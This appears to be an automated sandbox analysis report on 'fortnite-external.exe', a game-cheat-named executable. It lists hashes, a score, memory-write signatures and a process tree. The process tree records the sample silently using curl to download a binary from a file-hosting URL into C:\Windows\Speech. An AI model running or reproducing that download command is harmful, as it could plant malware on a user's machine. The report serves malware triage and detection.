30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d | Triage

Resubmissions

21/09/2024, 08:16

240921-j6g5fasglk 10

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/09/2024, 08:16

Sharing

Report Analysis Logs

General

Target

fortnite-external.exe
Size

392KB
MD5

450270d6a68cf6364e98f16b917a84e6
SHA1

3e89467c9cbc12a76ab77c50913ee45420e16ccc
SHA256

30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d
SHA512

27c7b9c03a026ba578d6c71f6805d07a702740ce21f2e738cadb7fd2d455d6b1abf620c5b147ee018494a33376ff4e907bdf8ce0fa76f7970abe6cd03da6b4b6
SSDEEP

6144:whcdTWDsDiY4ElESAtEnESbkaXOahqJiSxRODbGWrZjkmn35GYrZ8RA:fdxE7xr4kmnJ

Score

1^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 2464	2492	fortnite-external.exe	31
PID 2492 wrote to memory of 2464	2492	fortnite-external.exe	31
PID 2492 wrote to memory of 2464	2492	fortnite-external.exe	31

C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:2464

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads